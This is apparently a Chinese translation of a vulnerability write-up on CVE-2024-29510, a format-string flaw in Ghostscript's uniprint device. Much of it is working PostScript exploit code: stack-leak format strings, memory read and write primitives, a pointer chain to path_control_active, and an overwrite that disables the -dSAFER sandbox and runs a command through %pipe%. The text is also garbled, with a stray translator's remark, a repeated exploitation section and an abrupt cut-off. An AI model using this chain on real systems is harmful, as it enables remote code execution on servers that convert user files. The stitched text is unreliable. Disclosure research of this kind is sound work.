CVE-2024-29510 – 格式化字符串漏洞实现Ghostscript RCE

摘要

这是对CVE-2024-29510的详细说明,Ghostscript ≤ 10.03.0中的一个格式化字符串漏洞。我们展示了如何利用这个漏洞绕过-dSAFER沙箱并获取代码执行。

这个漏洞对提供文档转换和预览功能的web应用程序和其他服务有重大影响,因为它们经常在后台使用Ghostscript。我们建议您验证您的解决方案(间接地)是否使用Ghostscript,如果是,请更新到最新版本。

这是Codean Labs发现的Ghostscript漏洞三部分系列的第一部分。敬请期待第二部分和第三部分。

引言

Ghostscript,最初发布于1988年(!),是一个Postscript解释器和通用文档转换工具包。虽然最初是一个相对鲜为人知的UNIX工具,用于与打印机通信,但现在它在自动化系统中找到了普遍的使用,用于处理用户提供的文件。

具体来说,许多处理和转换图像或文档的web应用程序在某个时候会调用Ghostscript。通常通过像ImageMagick和LibreOffice这样的工具间接调用。想一想你在聊天程序和云存储应用程序中看到的附件预览图像;在这些转换和渲染逻辑背后,通常有Ghostscript的调用!

这些自动化转换工作流程的增加促使Ghostscript开发人员实现了各种沙箱功能,并随着时间的推移加强了它们。在最新版本中,默认启用了-dSAFER沙箱,并阻止或限制了所有危险的操作,例如文件I/O和命令执行,这些在Postscript中通常是正常的。

从安全的角度来看,这当然非常有趣。我们有一个广泛的攻击面(用户输入的文件和大量功能可供探索)和一个明确的目标(逃离沙箱,导致远程代码执行(RCE))。

需要记住的是,Postscript是一个功能完善的图灵完备编程语言。有点像TeX,但可以说更通用。它对文件I/O的支持,例如,使人们能够使用Postscript编写与文档相关的转换和提取工具。从这个角度来看,使用管道(通过在文件打开路径前加上|%pipe%)执行命令的能力,就像在Perl或Bash中一样正常。

所有这些都使Ghostscript处于一个奇怪的位置,它想要允许所有这些遗留用例,但同时也通常被用作在不受信任的文件上的工具,这些文件通常被视为静态图形描述,而不是作为程序。

在沙箱中玩耍

-dSAFER沙箱主要围绕限制I/O操作。当启用时,它不允许%pipe%功能,否则将允许执行命令(例如,通过打开文件%pipe%uname -a),并且它将文件访问限制在白名单路径集内。在默认安装中,此列表包括一些Ghostscript内部路径,例如字体,以及/tmp/目录(至少在Linux上)。

Postscript是一种基于栈的语言,如果你不习惯它,可能会有点难以阅读。Postscript程序的代码本质上是一堆东西,它们一个接一个地被推到执行栈上。当遇到一个运算符时,这个栈的一个或多个元素可能会被消耗,并且可能会推入一个或多个新的元素。这类似于使用逆波兰表示法的计算器,例如:


3 4 add = % 打印 "7"
3 4 mul 2 add = % 打印 "14"

更复杂的逻辑需要一些栈“杂耍”:像popdupexch这样的运算符在栈上复制和移动东西。

Postscript有标准类型,如布尔值和数字,但也有字符串((foobar))(注意括号与引号的区别)、列表([ 1 2 3 ])、字典(<< /Key (value) /Foo (bar) /Baz 42 >>)和过程({ (Hello world!) = })。这些斜线前缀的字典键是名称。它们也可以在全局范围内定义(那也是一个字典!)使用def。然后你可以在没有斜线的情况下引用它们:


/MyVariable (Hello world!) def
MyVariable = % 打印 "Hello world!"

名称也可以引用过程。在本文中,我们将主要使用CamelCase表示变量和snake_case表示用户定义的过程。

/tmp/完全可访问的事实非常有趣,因为这意味着即使在沙箱环境中,Postscript程序也可以列出、读取和写入/tmp/下的任何内容:


% 列出 /tmp/ 下的所有文件
(/tmp/*) { = } 1024 string filenameforall

% 读取并打印 /tmp/foobar 的内容
(/tmp/foobar) (r) file 1024 string readstring pop =

% 写入一个(新的)文件
(/tmp/newfile) (w) file dup (Hello world!) writestring closefile

在某些Ghostscript的集成使用中,这可能已经很危险了,因为临时敏感数据或配置可能存储在/tmp/中。或者其他人上传的内容可能在那里。

从攻击者的角度来看,当文件读取和写入的能力与改变输出设备及其设置的能力相结合时,这种能力变得更加有趣。非沙箱的setpagedevice运算符接收一个包含设备参数的字典,包括设备名称本身。这些等同于你经常在命令行上指定的字段,包括输出文件路径。因此,可以从同一执行中使用任意设备渲染页面并读取回生成的输出文件,与最初设置的设备参数无关。


% simple_stroke.ps

% 更改当前输出文件和页面设备(例如,pdfwrite)
<<
/OutputFile (/tmp/foobar)
/OutputDevice /pdfwrite
>>
setpagedevice

% 一些最小的图形内容(一条对角线笔画)
newpath
100 600 moveto
200 400 lineto
5 setlinewidth
stroke

% 产生一个页面
showpage

% 读取回输出文件的内容
(/tmp/foobar) (r) file 8000 string readstring pop
print

调用showpage后,设备已经写入了与页面内容相对应的数据。因此,我们可以立即读取这个数据,在这个例子中使用print将其打印到stdout:


$ ghostscript -q -dSAFER -dBATCH -dNODISPLAY simple_stroke.ps
%PDF-1.7
%
%%Invocation: ghostscript -q -dSAFER -dBATCH -dNODISPLAY ?
5 0 obj
<</Length 6 0 R/Filter /FlateDecode>>
stream
x+T03T0A(˥d^ejPeeeh```"r@

e

程序完成后,Ghostscript将关闭页面设备,这很好地包装了输出文件/tmp/foobar,在这种情况下是一个有效的PDF,具有xref表等所有内容:

CVE-2024-29510 – 格式化字符串漏洞实现Ghostscript RCE
PDF阅读器渲染的“foobar.pdf”

PDF阅读器渲染的“foobar.pdf”

过于通用

Ghostscript实现了数十种不同的输出设备,如其--help输出中所列。设备只是一些产生输出数据的逻辑。这从x11alpha(在Linux上显示窗口)到例如jpegcmyk(生成JPEG文件)不等。同样,支持多种文档类型(例如XPS、EPS、PDF),还有许多打印机命令语言的变体(例如PJL、PCL、epson、deskjet)。设备可以配置和选择(通常在命令行中使用-sDEVICE=,也可以通过Postscript中的setpagedevice,正如我们之前看到的)。可配置的参数因设备而异,但标准参数包括输出文件、页面格式、边距、颜色配置文件等。

Ghostscript可以通过命令行进行高度配置。使用-d-s前缀,可以设置布尔值和命名字段,这些字段由启动逻辑用于配置设备。一些常见的用例包括:


# 从stdin读取文件,将其作为PNG输出到stdout
# (例如,LibreOffice调用Ghostscript渲染嵌入式EPS文件的方式)
ghostscript -q -dBATCH -dNOPAUSE -sDEVICE=pngalpha -sOutputFile=- -

# 从in.pdf中提取第3-5页到out.pdf
ghostscript -dNOPAUSE -dQUIET -dBATCH -sOutputFile=out.pdf -dFirstPage=3 -dLastPage=5 -sDEVICE=pdfwrite in.pdf

# 确定EPS文件的边界框
ghostscript -q -dBATCH -dNOPAUSE -sDEVICE=bbox -sOutputFile=- img.eps

一个有趣的设备是uniprint,即“通用打印机设备”。它特别多功能,因为它可以用来为不同品牌和型号的打印机生成命令数据,只需更改设备的配置参数即可。Ghostscript附带了一组.upp文件,这些只是Ghostscript命令行(注意-dSAFER-sDEVICE=uniprint示例),为特定打印机预填参数,例如cdj550.upp


-supModel="HP Deskjet 550c, 300x300DpI, Gamma=2"
-sDEVICE=uniprint
-dNOPAUSE
-P- -dSAFER
-dupColorModel=/DeviceCMYK
-dupRendering=/ErrorDiffusion
-dupOutputFormat=/Pcl
-r300x300
-dupMargins="{ 12.0 36.0 12.0 12.0}"
-dupBlackTransfer="{
     0.0000 0.0010 0.0042 0.0094 0.0166 0.0260 0.0375 0.0510 
     0.0666 0.0843 0.1041 0.1259 0.1498 0.1758 0.2039 0.2341
     0.2663 0.3007 0.3371 0.3756 0.4162 0.4589 0.5036 0.5505
     0.5994 0.6504 0.7034 0.7586 0.8158 0.8751 0.9365 1.0000
}"

-dupCyanTransfer="{
     0.0000 0.0010 0.0042 0.0094 0.0166 0.0260 0.0375 0.0510 
     ...
}"

-dupMagentaTransfer="{
     ...
}"

-dupYellowTransfer="{
     ...
}"

-dupBeginPageCommand="<...>"
-dupAdjustPageWidthCommand
-dupEndPageCommand="(...)"
-dupAbortCommand="(...)"
-dupYMoveCommand="(%dy)"
-dupWriteComponentCommands="{ (%dv) (%dv) (%dv) (%dw) }"

如果你仔细查看最后几个参数,你会注意到dupYMoveCommanddupWriteComponentCommands包含格式化字符串说明符。具体来说,%d用于在选定位置合并一个整数参数。这可能需要在不同的打印机方言之间提供多功能性。

查看代码库确认了这些参数确实被用作格式化字符串,但仅在Pcl输出格式的情况下(uniprint支持几种类型的输出格式)。如果dupOutputFormat == Pcl,则使用函数upd_wrtrtl进行渲染。在该函数内部,dupYMoveCommand(在设备初始化期间复制到upd->strings[S_YMOVE])的内容被用作gs_snprintf函数的格式化字符串,将计算出的“Y位置”作为可变参数传递:


      /*
       *    调整打印机的Y位置
       */

      if(upd->yscan != upd->yprinter) { /* 调整Y位置 */
         if(1 < upd->strings[S_YMOVE].size) {
           gs_snprintf((char *)upd->outbuf+ioutbuf, upd->noutbuf-ioutbuf,
             (const char *) upd->strings[S_YMOVE].data,
             upd->yscan - upd->yprinter);
           ioutbuf += strlen((char *)upd->outbuf+ioutbuf);
         } else {
            <snip>
         }
      }

如果你熟悉格式化字符串漏洞,你就会知道接下来会发生什么!

概念验证

由于这些参数只是常规设备参数,我们可以使用setpagedevice将设备更改为uniprint,就像我们之前使用pdfwrite一样。然后,通过在传递给setpagedevice的字典中设置它们,就可以简单地为各种upXXXX参数传递任意值。

对于两个带有格式化字符串的参数,upYMoveCommand似乎是最好操作的,因为它只是单个字符串,如果你渲染一个简单页面,它只会被格式化一次。看起来这个命令的用途是告诉打印机在打印后续内容之前将打印头移动到特定的Y位置。但对于这次攻击,它的预期目的并不重要。

那么,让我们尝试一个简单的概念验证。我们采用之前的PDF示例,其中我们写入/tmp/foobar并将其读回,但将setpagedevice调用替换为以下内容:


% 更改页面设备为`uniprint`,设置其输出文件和其他参数
<<
/OutputFile (/tmp/foobar)
/OutputDevice /uniprint

% 达到`upd_wrtrtl(...)`变体所需的uniprint参数
/upColorModel /DeviceCMYKgenerate
/upRendering /FSCMYK32
/upOutputFormat /Pcl

% 设置我们的测试负载
/upYMoveCommand (1:%xn2:%xn3:%xn4:%xn5:%xn6:%xn7:%xn8:%xn)

% 设置其他一些字符串参数
/upBeginJobCommand (Hello job!n)
/upBeginPageCommand (Hello page!n)

% 空字符串以减少垃圾信息
/upWriteComponentCommands {() () () ()}
>>
setpagedevice

这使我们从输出中得到这样的字符串(从/tmp/foobar读回):


Hello job!
Hello page!
1:be
2:be
3:5fd58000
4:5fd580f0
5:5fc36460
6:fffffff0
7:e48f1300
8:60005718
A??????????????????????????

在其他uniprint输出之间(其中大部分实际上是代表我们绘制的笔画的非ASCII数据),我们找到了我们的格式化字符串,包括栈上前8个单词的值!基本上,gs_snprintf的实现盲目地为每个给定的格式说明符从栈上读取一个“参数”,假设这些是作为可变参数传递的。但因为这种情况下这些参数实际上并没有提供(只给出了一个整数),它从栈的更深处位置读取。

使用这种技术,我们可以从当前栈指针的任意偏移处读取栈的内容,一直到argvenvp的内容(在调用main之前被推入)。这本身就是有用的,因为它泄露了环境变量和可能对绕过ASLR有用的各种指针。在启用此功能的系统上,它还泄露了堆栈cookie值,这对于利用堆栈缓冲区溢出很有用。

然而,我们可以做的不仅仅是打印栈值。如果我们能以某种方式控制栈上的某个指针,我们可以使用%s来解引用它。虽然%s在遇到空字节时停止读取,但这并不是问题:如果我们知道我们想读取N个字节,我们可以使用%.Ns(例如,%.8s)。如果我们然后得到少于N个字符(比如说M),那么我们知道后面一定跟着一个空字节,我们通过从(地址 + M + 1)读取(N – M – 1)个字节来递归,直到读取所有字节。使用N=8,这种技术可以用来提取存储在指定地址的完整指针,即使它碰巧包含一个空字节。

类似地——这通常是格式化字符串攻击的关键——如果我们能控制栈上的一个值,我们可以使用%n将其写入。这是一个相对晦涩且独特的说明符,它将打印到该点的字符数写入给定的指针参数。一个简单的printf示例:


int n;
printf("Hello%n world!", &n);
// n == 5;

在我们的情况下,格式化字符串的长度有限,因此我们不能使用这个来写入任意高的值(我们需要为高值提供一个非常长的字符串)。然而,我们可以使用%hn将任意的2字节短整型写入栈上的内存地址,只需在格式化字符串中放置多达2^16字节的填充数据。

有趣的事实:gs_snprintf调用apr_vformatter,这是随Ghostscript提供的自定义printf样式格式化程序。这意味着在这种情况下不使用libc提供的格式化程序(常规的snprintf),这对我们的攻击有利,因为那个通常编译有针对格式化字符串攻击的对策!

任意读写?

所以我们可以读取和写入恰好在栈上的指针,但是任意读写呢?在教科书式的格式化字符串攻击中,格式化字符串本身通常位于栈上,提供了一个容易控制的缓冲区来放置地址:


/* fmt.c */
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv) {
    char fmt[256];
    strncpy(fmt, argv[1], sizeof(fmt));
    printf(fmt);
}

$ ./fmt 'AAAAAAAA_%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx'
AAAAAAAA_7fff98ccd540,7fff98ccca50,d,0,7c7a77bd2180,7fff98cccbf8,20,4141414141414141,786c252c786c255f

注意栈上的字面值4141414141414141,来自格式化字符串的开头("AAAAAAAA")。通过将相应的%lx替换为%n,程序将尝试将值写入该地址:


$ valgrind ./fmt 'AAAAAAAA_%lx,%lx,%lx,%lx,%lx,%lx,%lx,%n,%lx'
...
==671567== Invalid write of size 4
==671567== at 0x48E2BA1: __printf_buffer (vfprintf-process-arg.c:348)
==671567== by 0x48E36E0: __vfprintf_internal (vfprintf-internal.c:1523)
==671567== by 0x48D886E: printf (printf.c:33)
==671567== by 0x1091EC: main (in fmt)
==671567== Address 0x4141414141414141 is not stack'd, malloc'd or (recently) free'd
...

在我们的情况下,这并不简单。我们的格式化字符串位于堆上,因此我们需要找到一个我们完全控制的栈上的不同值。

栈由什么值组成?它始终包含调用栈中每个函数的参数和局部变量。以下是在调用gs_snprintf时的调用栈:

#0   upd_wrtrtl (upd=0x55555829c610, out=0x55555827fe50) at ./devices/gdevupd.c:6992
#1 upd_print_page (pdev=0x555558550068, out=0x55555827fe50) at ./devices/gdevupd.c:1161
#2 gx_default_print_page_copies (pdev=0x555558550068, prn_stream=0x55555827fe50, num_copies=0x1) at ./base/gdevprn.c:1160
#3 gdev_prn_output_page_aux (pdev=0x555558550068, num_copies=0x1, flush=0x1, seekable=0x0, bg_print_ok=0x0) at ./base/gdevprn.c:1062
#4 gdev_prn_output_page (pdev=0x555558550068, num_copies=0x1, flush=0x1) at ./base/gdevprn.c:1098
#5 default_subclass_output_page (dev=0x5555583c42e8, num_copies=0x1, flush=0x1) at ./base/gdevsclass.c:136
#6 gs_output_page (pgs=0x555558198490, num_copies=0x1, flush=0x1) at ./base/gsdevice.c:207
#7 zoutputpage (i_ctx_p=0x5555581981a8) at ./psi/zdevice.c:502
#8 do_call_operator (op_proc=0x55555646e9e8 <zoutputpage>, i_ctx_p=0x5555581981a8) at ./psi/interp.c:91
#9 interp (pi_ctx_p=0x555558164a50, pref=0x7fffffffd170, perror_object=0x7fffffffd4e0) at ./psi/interp.c:1375
#10 gs_call_interp (pi_ctx_p=0x555558164a50, pref=0x7fffffffd3e0, user_errors=0x1, pexit_code=0x7fffffffd4d8, perror_object=0x7fffffffd4e0) at ./psi/interp.c:531
#11 gs_interpret (pi_ctx_p=0x555558164a50, pref=0x7fffffffd3e0, user_errors=0x1, pexit_code=0x7fffffffd4d8, perror_object=0x7fffffffd4e0) at ./psi/interp.c:488
#12 gs_main_interpret (minst=0x5555581649b0, pref=0x7fffffffd3e0, user_errors=0x1, pexit_code=0x7fffffffd4d8, perror_object=0x7fffffffd4e0) at ./psi/imain.c:257
#13 gs_main_run_string_end (minst=0x5555581649b0, user_errors=0x1, pexit_code=0x7fffffffd4d8, perror_object=0x7fffffffd4e0) at ./psi/imain.c:945
#14 gs_main_run_string_with_length (minst=0x5555581649b0, str=0x555558273390 "<707472732e7073>.runfile", length=0x18, user_errors=0x1, pexit_code=0x7fffffffd4d8, perror_object=0x7fffffffd4e0) at ./psi/imain.c:889
#15 gs_main_run_string (minst=0x5555581649b0, str=0x555558273390 "<707472732e7073>.runfile", user_errors=0x1, pexit_code=0x7fffffffd4d8, perror_object=0x7fffffffd4e0) at ./psi/imain.c:870
#16 run_string (minst=0x5555581649b0, str=0x555558273390 "<707472732e7073>.runfile", options=0x3, user_errors=0x1, pexit_code=0x7fffffffd4d8, perror_object=0x7fffffffd4e0) at ./psi/imainarg.c:1169
#17 runarg (minst=0x5555581649b0, pre=0x555557000263 "", arg=0x7fffffffd658 "ptrs.ps", post=0x555557000914 ".runfile", options=0x3, user_errors=0x1, pexit_code=0x0, perror_object=0x0) at ./psi/imainarg.c:1128
#18 argproc (minst=0x5555581649b0, arg=0x7fffffffd658 "ptrs.ps") at ./psi/imainarg.c:1050
#19 gs_main_init_with_args01 (minst=0x5555581649b0, argc=0x4, argv=0x7fffffffe228) at ./psi/imainarg.c:242
#20 gs_main_init_with_args (minst=0x5555581649b0, argc=0x4, argv=0x7fffffffe228) at ./psi/imainarg.c:289
#21 psapi_init_with_args (ctx=0x555558164180, argc=0x4, argv=0x7fffffffe228) at ./psi/psapi.c:281
#22 gsapi_init_with_args (instance=0x555558164180, argc=0x4, argv=0x7fffffffe228) at ./psi/iapi.c:253
#23 main (argc=0x4, argv=0x7fffffffe228) at ./psi/gs.c:95

如您所见,这个调用栈中的大多数参数值都是指针,其中少数非指针值在Postscript中不容易或不能完全控制。遗憾的是,这些函数的局部变量似乎也是如此:它们中没有一个为我们提供了8个容易控制的连续字节。

幽灵栈缓冲区

幸运的是,我们实际上并不局限于当前调用栈的函数。栈的地址空间是一个活跃的区域,当栈增长、缩小并再次增长时,它不断地被覆盖。一些函数参数或局部变量可能是未初始化的缓冲区或填充结构,这意味着它们保留了栈上的先前内容。因此,我们还寻找在栈的可访问区域内曾经存在且此后未被覆盖的函数的局部变量和参数。

gs_scan_token(...)中的sstate变量就是这样一个变量。当需要处理新标记(Postscript是一种解释性语言)时,该函数作为Ghostscript解释器循环的一部分被调用。当这个函数遇到百分号时,它会进入一些逻辑,保存随后的注释文本,以防它是一个需要进一步处理的特殊注释。

特殊注释是以%%%!开头的注释。例如,在EPS文件头中使用它们来传递元数据:

%!PS-Adobe-3.0 EPSF-3.0
%%Document-Fonts: Times-Roman
%%Title: hello.eps
%%Creator: Someone
%%CreationDate: 01-Jan-70
%%Pages: 1
%%BoundingBox: 36 36 576 756
%%LanguageLevel: 1
%%EndComments
%%BeginProlog
%%EndProlog
...

值得注意的是,当注释是输入流中的最后一个标记时,完整的注释字符串被memcpysstate.s_da.buf,这是一个栈分配的缓冲区:

      case '%':
      {                   
          const byte *base = sptr;
          const byte *end;

          // ... 省略部分代码 ...

          /*
           * We got to the end of the buffer while inside a comment.
           * If there is a possibility that we must pass the comment
           * to an external procedure, move what we have collected
           * so far into a private buffer now.
           */

          --sptr;
          sstate.s_da.buf[1] = 0;
          {
              /* Could be an externally processable comment. */
              uint len = sptr + 1 - base;
              if (len > sizeof(sstate.s_da.buf))
                  len = sizeof(sstate.s_da.buf);

              memcpy(sstate.s_da.buf, base, len);
              daptr = sstate.s_da.buf + len;
          }
          sstate.s_da.base = sstate.s_da.buf;
          sstate.s_da.is_dynamic = false;
      }

情况就是这样,这个缓冲区没有被覆盖,如果我们在特殊注释之后立即调用showpage,我们可以从我们的格式化字符串中看到它。为了使注释成为解释器缓冲区中的最后一个标记,我们需要递归地调用解释器。这可以通过多种方式完成,但最简单的方式是通过Ghostscript的.runstring运算符。可以将其视为Javascript的eval

这段文字描述了一个利用Ghostscript中uniprint设备格式化字符串漏洞的概念验证(PoC)。以下是对这段文字的翻译:

为了演示,我们采用之前的例子,但在showpage之前插入了以下内容:

(%%XXAAAAAAAA) .runstring

然后,使用%lx打印了更多的(大约300个)8字节的栈上单词(已修剪):

...
/upYMoveCommand (1:%lxn2:%lxn3:%lxn ... 298:%lxn299:%lxn300:%lxn)
...

现在的输出结果如下(已修剪):

...
222:7ffe2ee85dcc
223:7ffe2ee85dcc
224:7ffe2ee85dcc
225:5858252500000000
226:4141414141414141
227:0
228:0
229:0
230:7ffe2ee85e30
231:62bea58b57b0
...

看起来sstate.s_da.buf大致覆盖了栈索引225到229。该结构的偏移是这样的:我们注释的开始("%%XX")存储在225处的单词中,而226处的单词是第一个我们完全可控的("AAAAAAAA")。因此,我们可以将我们的代码概括一下,构建一个简单的原语,将一个8字节的字符串作为一个单词放在栈上(实际的栈,而不是Postscript栈!):

/StackString (AAAAAAAA) def % 这可以在运行时确定
(%%XX) StackString cat .runstring

将事情整合在一起

现在我们可以在栈上的已知位置放置任意的8字节值,这意味着我们终于可以充分利用%s%n,为我们提供内存读写原语!

让我们将uniprint格式化字符串调用和文件读取抽象成一个名为do_uniprint的Postscript过程:

% <StackString> <FmtString> do_uniprint <LeakedData>
/do_uniprint {
/FmtString exch def % 使用的格式化字符串有效载荷
/StackString exch def % 事先放在栈上的8字节字符串

% 选择带有我们有效载荷的uniprint设备
<<
/OutputFile PathTempFile
/OutputDevice /uniprint
/upColorModel /DeviceCMYKgenerate
/upRendering /FSCMYK32
/upOutputFormat /Pcl
/upOutputWidth 99999 % 这为我们的格式化字符串提供了更大的缓冲区
/upWriteComponentCommands {(x)(x)(x)(x)} % 这是必需的,只是放置一些无效的字符串
/upYMoveCommand FmtString
>>
setpagedevice

% 操纵解释器在栈上放置受控数据
(%%XX) StackString cat .runstring

% 生成带有一些内容的页面以触发格式化字符串逻辑
newpath 1 1 moveto 1 2 lineto 1 setlinewidth stroke
showpage

% 读取写入的数据
/InFile PathTempFile (r) file def
/LeakedData InFile 4096 string readstring pop def
InFile closefile

LeakedData % 返回
} bind def

然后我们可以编写更高层次的过程write_toread_ptr_atread_dereferenced_bytes_atread_dereferenced_ptr_at


% <StackIdx> <AddrHex> write_to
/write_to {
/AddrHex exch str_ptr_to_le_bytes def % address to write to
/StackIdx exch def % stack idx to use

/FmtString StackIdx 1 sub (%x) times (_%ln) cat def

AddrHex FmtString do_uniprint

pop % we don't care about formatted data
} bind def

% <StackIdx> read_ptr_at <PtrHexStr>
/read_ptr_at {
/StackIdx exch def % stack idx to use

/FmtString StackIdx 1 sub (%x) times (__%lx__) cat def

() FmtString do_uniprint

(__) search pop pop pop (__) search pop exch pop exch pop
} bind def

% num_bytes <= 9
% <StackIdx> <PtrHex> <NumBytes> read_dereferenced_bytes_at <ResultAsMultipliedInt>
/read_dereferenced_bytes_at {
/NumBytes exch def
/PtrHex exch def
/PtrOct PtrHex str_ptr_to_le_bytes def % address to read from
/StackIdx exch def % stack idx to use

/FmtString StackIdx 1 sub (%x) times (__%.) NumBytes 1 string cvs cat (s__) cat cat def

PtrOct FmtString do_uniprint

/Data exch (__) search pop pop pop (__) search pop exch pop exch pop def

% Check if we were able to read all bytes
Data length NumBytes eq {
% Yes we did! So return the integer conversion of the bytes
0 % accumulator
NumBytes 1 sub -1 0 {
exch % <i> <accum>
256 mul exch % <accum*256> <i>
Data exch get % <accum*256> <Data[i]>
add % <accum*256 + Data[i]>
} for
} {
% We did not read all bytes, add a null byte and recurse on addr+1
StackIdx 1 PtrHex ptr_add_offset NumBytes 1 sub read_dereferenced_bytes_at
256 mul
} ifelse
} bind def

% <StackIdx> <AddrHex> read_dereferenced_ptr_at <PtrHexStr>
/read_dereferenced_ptr_at {
% Read 6 bytes
6 read_dereferenced_bytes_at

% Convert to hex string and return
16 12 string cvrs
} bind def

利用

我们的最终利用目标是逃离-dSAFER沙箱,这将使我们在运行Ghostscript的机器上获得完整的远程代码执行(RCE)。当启用-dSAFER时,Ghostscript会在全局上下文结构中永久设置一个布尔字段(path_control_active)为1。通常在Postscript内部,一旦这个值被设置为1,就无法更改回0。

然而,如果我们能够直接在正确的内存位置进行“戳刺”并将此字段设置为0,那么只要Ghostscript进程运行,所有的-dSAFER限制就会立即消失。

因此,我们需要找到path_control_active的地址(由于ASLR的存在,这个地址每次都会变化)。这个字段是gs_lib_ctx_core_t结构体的一部分,该结构体的全局实例在堆上分配,但我们不知道确切的位置,因为它在栈上没有被引用。

相反,我们可以利用gs_lib_ctx_core_t结构体的指针是gs_lib_ctx_t的一部分,而gs_lib_ctx_t又是gs_memory_t的一部分。恰好,包含gs_snprintf调用的函数upd_wrtrtl(upd_p upd, gp_file *out)接收一个gp_file *参数out,它有一个指向gs_memory_t的指针。换句话说,我们只需要从它在栈上一致的位置抓取out,然后多次解引用它,以获得&out->memory->gs_lib_ctx->core->path_control_active

CVE-2024-29510 – 格式化字符串漏洞实现Ghostscript RCE
内存布局图

由于这些字段没有一个在其父结构体中的偏移是0,我们需要能够在泄露的(十六进制)指针值上加上一个偏移量,然后再解引用它。幸运的是,Postscript在处理基于十六进制的数字方面非常灵活,因此以下代码可以奏效:

% <Offset> <PtrHexStr> ptr_add_offset <PtrHexStr>
/ptr_add_offset {
/PtrHexStr exch def % 要添加的十六进制字符串指针
/Offset exch def % 要添加的整数

/PtrNum (16#) PtrHexStr cat cvi def

% 基于16进制,字符串长度12
PtrNum Offset add 16 12 string cvrs
} bind def

结果是十六进制字符串,但要将这个值放到栈上(记住,使用%%BB........注释),它需要是原始字节的字符串,并进行反转(至少在小端系统上是这样)。因此,我们编写了另一个辅助函数:

% 将十六进制字符串 "4142DEADBEEF" 转换为填充后的小端字节字符串 "xEFxBExADxDEx42x41x00x00"
% <HexStr> str_ptr_to_le_bytes <ByteStringLE>
/str_ptr_to_le_bytes {
% 将十六进制字符串参数转换为Postscript字符串
% 使用 <DEADBEEF> 表示法
/ArgBytes exch (<) exch (>) cat cat token pop exch pop def

% 准备结果字符串(`string`用零填充)
/Res 8 string def

% 对输入中的每个字节
0 1 ArgBytes length 1 sub {
/i exch def

% 在索引(len(ArgBytes) - 1 - i)处放置字节
Res ArgBytes length 1 sub i sub ArgBytes i get put
} for

Res % 返回
} bind def

如果这看起来令人困惑,不用担心,这只是自动化利用过程的管道。有了所有这些原语,我们可以使用read_dereferenced_ptr_atptr_add_offset的链来获得Ghostscript的path_control_active地址:

% 使用原语获得:&out->memory->gs_lib_ctx->core->path_control_active

/IdxOutPtr 5 def % `gp_file *out`在栈上的位置
/PtrOut IdxOutPtr read_ptr_at def

% `memory`在`out`中的偏移量是144
/PtrOutOffset 144 PtrOut ptr_add_offset def
/PtrMem IdxStackControllable PtrOutOffset read_dereferenced_ptr_at def

% `gs_lib_ctx`在`memory`中的偏移量是208
/PtrMemOffset 208 PtrMem ptr_add_offset def
/PtrGsLibCtx IdxStackControllable PtrMemOffset read_dereferenced_ptr_at def

% `core`在`gs_lib_ctx`中的偏移量是8
/PtrGsLibCtxOffset 8 PtrGsLibCtx ptr_add_offset def
/PtrCore IdxStackControllable PtrGsLibCtxOffset read_dereferenced_ptr_at def

% `path_control_active`在`core`中的偏移量是156
/PtrPathControlActive 156 PtrCore ptr_add_offset def

现在我们有了path_control_active的地址。剩下的最后一步是用0覆盖它。使用%n的变体不能直接写入如此低的值,但我们可以通过改写&path_control_active - 3来轻松克服这个问题,这在小端平台上将用我们写入的(小)整数的最显著字节覆盖实际字段的最不显著字节,从而将其设置为零。我们确实部分破坏了结构体中的另一个值,但似乎并不重要。沙箱将立即被禁用,允许通过%pipe%执行shell命令:


% Subtract a bit from the address to make sure we write a null over the field
/PtrTarget -3 PtrPathControlActive ptr_add_offset def

% And overwrite it!
IdxStackControllable PtrTarget write_to

% And now path_control_active == 0, so we can use %pipe% as if -dSAFER was never set :)

(%pipe%gnome-calculator) (r) file

利用

我们的最终目标是利用这个漏洞来逃逸-dSAFER沙箱,从而获得运行Ghostscript的机器上的完全远程代码执行(RCE)。当-dSAFER启用时,Ghostscript会永久地将全局上下文结构中的一个布尔字段(path_control_active)设置为1。通常在Postscript中,一旦这个值被设置为1,就无法再改回0。

然而,如果我们能够直接在正确的内存位置“戳”并把这个字段设置为0,那么只要Ghostscript进程还在运行,所有的-dSAFER限制就会立即消失。

因此,我们需要找到path_control_active的地址(由于ASLR,这个地址每次都会变化)。这个字段是gs_lib_ctx_core_t结构体的一部分,该结构体的全局实例是在堆上分配的,但我们不知道它的确切位置,因为它在栈上没有被引用。

相反,我们可以利用这样一个事实:gs_lib_ctx_core_t结构体的指针是gs_lib_ctx_t的一部分,而gs_lib_ctx_t又是gs_memory_t的一部分。并且,正如我们所看到的,包含gs_snprintf调用的函数upd_wrtrtl(upd_p upd, gp_file *out)接收一个gp_file *参数out,它有一个指向gs_memory_t的指针。换句话说,我们只需要从它在栈上一致的位置获取out,然后多次解引用它,以获得&out->memory->gs_lib_ctx->core->path_control_active

由于这些字段没有一个在其父结构体中的偏移是0,我们需要能够在泄露的(十六进制)指针值上加上一个偏移量,然后再解引用它。幸运的是,Postscript在处理基于十六进制的数字方面非常灵活,所以以下代码可以实现这一点:

% <Offset> <PtrHexStr> ptr_add_offset <PtrHexStr>
/ptr_add_offset {
/PtrHexStr exch def % 十六进制字符串指针
/Offset exch def % 要添加的整数

/PtrNum (16#) PtrHexStr cat cvi def

% 基于16进制,字符串长度12
PtrNum Offset add 16 12 string cvrs
} bind def

结果是十六进制字符串,但要将这个值放到栈上(记住,使用%%BB........注释),它需要是原始字节的字符串,并且在小端系统上需要反转。因此,我们编写了另一个辅助函数:

% 将十六进制字符串 "4142DEADBEEF" 转换为填充后的小端字节字符串 "xEFxBExADxDEx42x41x00x00"
% <HexStr> str_ptr_to_le_bytes <ByteStringLE>
/str_ptr_to_le_bytes {
% 将十六进制字符串参数转换为Postscript字符串
% 使用 <DEADBEEF> 表示法
/ArgBytes exch (<) exch (>) cat cat token pop exch pop def

% 准备结果字符串(`string`用零填充)
/Res 8 string def

% 对输入中的每个字节
0 1 ArgBytes length 1 sub {
/i exch def

% 在索引(len(ArgBytes) - 1 - i)处放置字节
Res ArgBytes length 1 sub i sub ArgBytes i get put
} for

Res % 返回
} bind def

有了所有这些原语,我们可以使用read_dereferenced_ptr_atptr_add_offset的链来获得Ghostscript的path_control_active地址:

% 使用原语获得:&out->memory->gs_lib_ctx->core->path_control_active

/IdxOutPtr 5 def % `gp_file *out`在栈上的位置
/PtrOut IdxOutPtr read_ptr_at def

% `memory`在`out`中的偏移量是144
/PtrOutOffset 144 PtrOut ptr_add_offset def
/PtrMem IdxStackControllable PtrOutOffset read_dereferenced_ptr_at def

% `gs_lib_ctx`在`memory`中的偏移量是208
